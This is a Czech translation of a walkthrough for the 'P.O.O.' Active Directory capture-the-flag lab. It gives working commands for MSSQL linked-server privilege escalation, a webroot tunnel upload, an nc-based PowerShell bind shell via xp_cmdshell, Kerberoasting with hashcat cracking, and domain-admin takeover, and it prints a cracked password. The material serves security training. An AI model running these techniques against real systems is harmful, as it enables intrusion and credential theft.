
V tomto článku se budeme zabývat postupem nejen pro jedno zařízení, ale celou mini laboratoří na platformě. .
Jak je uvedeno v popisu, P.O.O. je určeno k testování dovedností na všech etapách útoků v malém prostředí Active Directory. Cílem je kompromitovat dostupný hostitel, zvýšit privilegium a nakonec kompromitovat celou doménu, přičemž shromáždí 5 vlajek.
Připojení k laboratoři se provádí přes VPN. Doporučuje se nepřipojovat se z pracovního počítače nebo z hostitele, kde máte důležitá data, protože se dostáváte do soukromé sítě s lidmi, kteří něco umí v oblasti kybernetické bezpečnosti 🙂
Organizační informace
Abychom vás mohli informovat o nových článcích, softwaru a dalších informacích, vytvořil jsem a v oblasti IKT. Také vaše osobní žádosti, otázky, návrhy a doporučení .
Veškeré informace jsou poskytovány výhradně pro vzdělávací účely. Autor tohoto dokumentu nenese žádnou odpovědnost za jakoukoli škodu způsobenou komukoli v důsledku použití znalostí a metod získaných studií tohoto dokumentu.
Úvod
Tento endgame se skládá ze dvou strojů a obsahuje 5 vlajek.

Také je uveden popis a adresa dostupného hostitele.

Začněme!
Recon vlajka
Tento stroj má IP adresu 10.13.38.11, kterou přidávám do /etc/hosts.
10.13.38.11 poo.htb
Nejdříve skenujeme otevřené porty. Protože skenování všech portů nmapem trvá dlouho, udělám to nejprve pomocí masscanu. Skenujeme všechny TCP a UDP porty z rozhraní tun0 rychlostí 500 paketů za sekundu.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Nyní pro získání podrobnějších informací o službách, které běží na portech, spustíme skenování s volbou -A.
nmap -A poo.htb -p80,1433 
Takto máme služby IIS a MSSQL. Zároveň zjišťujeme skutečné DNS jméno domény a počítače. Na webovém serveru nás vítá domovská stránka IIS.

Pojďme prozkoumat adresáře. Používám k tomu gobuster. V parametrech uvádím počet vláken 128 (-t), URL (-u), slovník (-w) a rozšíření, která nás zajímají (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Takto máme HTTP autentizaci pro adresář /admin a také dostupný soubor úložiště služby pracovní plochy .DS_Store. .DS_Store jsou soubory, které uchovávají uživatelská nastavení pro složku, jako je seznam souborů, umístění ikon, vybraný obrázek na pozadí. Takový soubor se může dostat do adresáře webového serveru k webovým vývojářům. Takže získáme informace o obsahu adresáře. K tomu můžeme použít .
python3 dsstore_crawler.py -i http://poo.htb/ 
Získáváme obsah katalogu. Nejzajímavější je zde katalog \/dev, ze kterého si ve dvou větvích můžeme prohlédnout zdrojové soubory a soubory db. Ale můžeme první 4 znaky názvů souborů a adresářů, pokud je služba zranitelná vůči IIS ShortName. Přítomnost této zranitelnosti lze zkontrolovat pomocí .

A nacházíme jeden textový soubor, který začíná na "poo_co". Nevědouc, co dělat dál, jsem prostě vybral ze slovníku adresářů všechna slova začínající na "co".
cat \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-large-words.txt | grep -i "^co" > co_words.txtA přebíráme pomocí wfuzz.
wfuzz -w .\/co_words.txt -u "http:\/\/poo.htb\/dev\/dca66d38fd916317687e1390a420c3fc\/db\/poo_FUZZ.txt" --hc 404 
A nacházíme vhodné slovo! Podíváme se na tento soubor, uložíme přihlašovací údaje (soudě podle parametru DBNAME, pocházejí z MSSQL).

Odevzdáváme vlajku a postupujeme o 20%.

Huh vlajka
Připojujeme se k MSSQL, používám DBeaver.

V této databázi nenacházíme nic zajímavého, pojďme vytvořit SQL editor a zkontrolovat, kteří jsou uživatelé.
SELECT name FROM master..syslogins; 
Máme dva uživatele. Pojďme zkontrolovat své privilegium.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Takto žádná privilegium nemáme. Podívejme se na spojené servery, o této metodice jsem podrobně psal .
SELECT * FROM master..sysservers; 
Takto nacházíme další SQL Server. Pojďme zkontrolovat provádění příkazů na tomto serveru pomocí openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
A dokonce můžeme vytvářet strom dotazů.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Faktem je, že když provádíme dotaz na spojeném serveru, dotaz se provádí v kontextu jiného uživatele! Pojďme se podívat, v jakém kontextu pracujeme na spojeném serveru.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
A nyní se podívejme, v jakém kontextu se provádějí dotazy ze spojeného serveru na náš!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Takto je to kontext DBO, který by měl mít všechna privilegium. Pojďme zkontrolovat privilegium v případě dotazu ze spojeného serveru.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Jak si můžete všimnout, máme všechna oprávnění! Vytvořme si tedy svého administrátora. Ale přes openquery to nejde, udělejme to přes EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";A nyní se připojujeme s údaji nového uživatele a sledujeme novou databázi flag.

Odevzdáme tento flag a jdeme dál.

BackTrack flag
Získáme shell pomocí MSSQL, používám mssqlclient z balíčku impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Musíme se dostat k heslům, a první, co jsme již viděli, je web. Potřebujeme tedy konfiguraci webového serveru (se shozem удобный shell to zřejmě nefunguje, firewall blokuje).

Ale přístup je zakázán. I když můžeme přečíst soubor z MSSQL, musíme jen vědět, jaké programovací jazyky jsou nakonfigurovány. A v adresáři MSSQL zjistíme, že je zde Python.

Pak není problém přečíst soubor web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
S nalezenými údaji se přihlásíme na /admin a vezmeme flag.


Foothold flag
Ve skutečnosti jsou s použitím firewallu určitá omezení, ale při kontrole síťových nastavení si všimneme, že se používá i děr IPv6!

Přidáme tuto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Znovu prozkoumejme hostitele, ale už podle protokolu IPv6.

A na IPv6 je dostupná služba WinRM. Připojíme se s nalezenými údaji.

Na ploše je flag, odevzdáme ho.

P00ned flag
Po provedení průzkumu na hostiteli s pomocí nenacházíme nic zvláštního. Poté bylo rozhodnuto znovu hledat uživatelské údaje (o tom jsem také psal ). Ale získat všechna SPN ze systému přes WinRM se mi nepodařilo.
setspn.exe -T intranet.poo -Q *
/* 
Udělejme příkaz přes MSSQL.

Tímto způsobem získáváme SPN uživatelů p00_hr a p00_adm, což znamená, že jsou zranitelní vůči útoku známému jako Kerberoasting. Zjednodušeně řečeno, můžeme získat hashe jejich hesel.
Nejprve je potřeba získat stabilní shell pod uživatelským jménem MSSQL. Vzhledem k omezenému přístupu máme spojení s hostitelem pouze přes porty 80 a 1433. Existuje však možnost tunelování provozu přes port 80! K tomu použijeme . Nahrajeme soubor tunnel.aspx do domovského adresáře webového serveru — C:inetpubwwwroot.

Při pokusu o jeho přístup však obdržíme chybu 404. To znamená, že soubory *.aspx nejsou vykonávány. Aby soubory s tímto rozšířením byly vykonávány, nainstalujeme ASP.NET 4.5 následujícím způsobem.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
A nyní, když přistoupíme k tunnel.aspx, dostáváme odpověď, že vše je připraveno k práci.
![]()
Pojďme spustit klientskou část aplikace, která se postará o přenos provozu. Budeme přesměrovávat všechen provoz z portu 5432 na server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
A používáme proxychains, abychom odesílali provoz jakékoli aplikace přes náš proxy. Přidáme tento proxy do konfiguračního souboru /etc/proxychains.conf.

Nyní nahrajeme na server program , se kterým vytvoříme stabilní bind shell, a skript , s jehož pomocí provedeme útok Kerberoasting.

Nyní spustíme listener přes MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
A připojíme se přes náš proxy.
proxychains rlwrap nc poo.htb 4321 
A pojďme získat hashe.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Dále je třeba tyto hashe procházet. Protože ve slovníku rockyou nebyla žádná z těchto hesel, použil jsem VŠECHNY slovníky hesel dostupné v Seclists. Procházení provedeme pomocí hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceA najdeme obě hesla, první ve slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.


A tak máme tři uživatele, jdeme na doménový řadič. Nejprve zjistíme jeho adresu.

Skvělé, zjistili jsme IP adresu doménového kontroléru. Pojďme zjistit všechny uživatele domény a také kdo z nich je administrátor. Načteme skript PowerView.ps1 pro získání informací. Poté se připojíme pomocí evil-winrm s parametrem -s, který bude obsahovat adresář se skriptem. A pak jednoduše nahrajeme skript PowerView.

Nyní máme přístup ke všem jeho funkcím. Uživatel p00_adm se zdá být privilegovaným, takže budeme pracovat v jeho kontextu. Vytvoříme objekt PSCredential pro tohoto uživatele.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNyní budou všechny příkazy PowerShell, kde uvedeme Creds, vykonány jménem p00_adm. Pojďme vypsat seznam uživatelů a atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
A tak, náš uživatel skutečně je privilegovaný. Pojďme se podívat, v jakých skupinách se nachází.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Nakonec potvrzujeme, že uživatel je administrátorem domény. To mu dává právo na vzdálený přístup na doménový kontrolér. Zkusme se přihlásit přes WinRM pomocí našeho tunelu. Zmatek mi způsobily chyby, které vydával reGeorg při použití evil-winrm.

Takže využijeme jiný, snazší způsob, jak se připojit k WinRM. Otevřeme a změníme parametry připojení.

Zkoušíme se připojit a jsme v systému.

Ale flag není. Tak se podívejme na uživatele a zkontrolujme pracovní plochy.

U mr3ks nacházíme flag a laboratoř je úspěšně dokončena na 100%.

A to je vše. Jako zpětnou vazbu, dejte nám vědět — dozvěděli jste se něco nového z tohoto článku a byl pro vás užitečný.
Můžete se k nám připojit na . Tam najdete zajímavé materiály, únikové kurzy a také software. Pojďme vytvořit komunitu, kde budou lidé, kteří se vyznají v mnoha oblastech IT, abychom si vždy mohli vzájemně pomoci s jakýmikoli otázkami IT a bezpečnosti.
Zdroj: habr.com
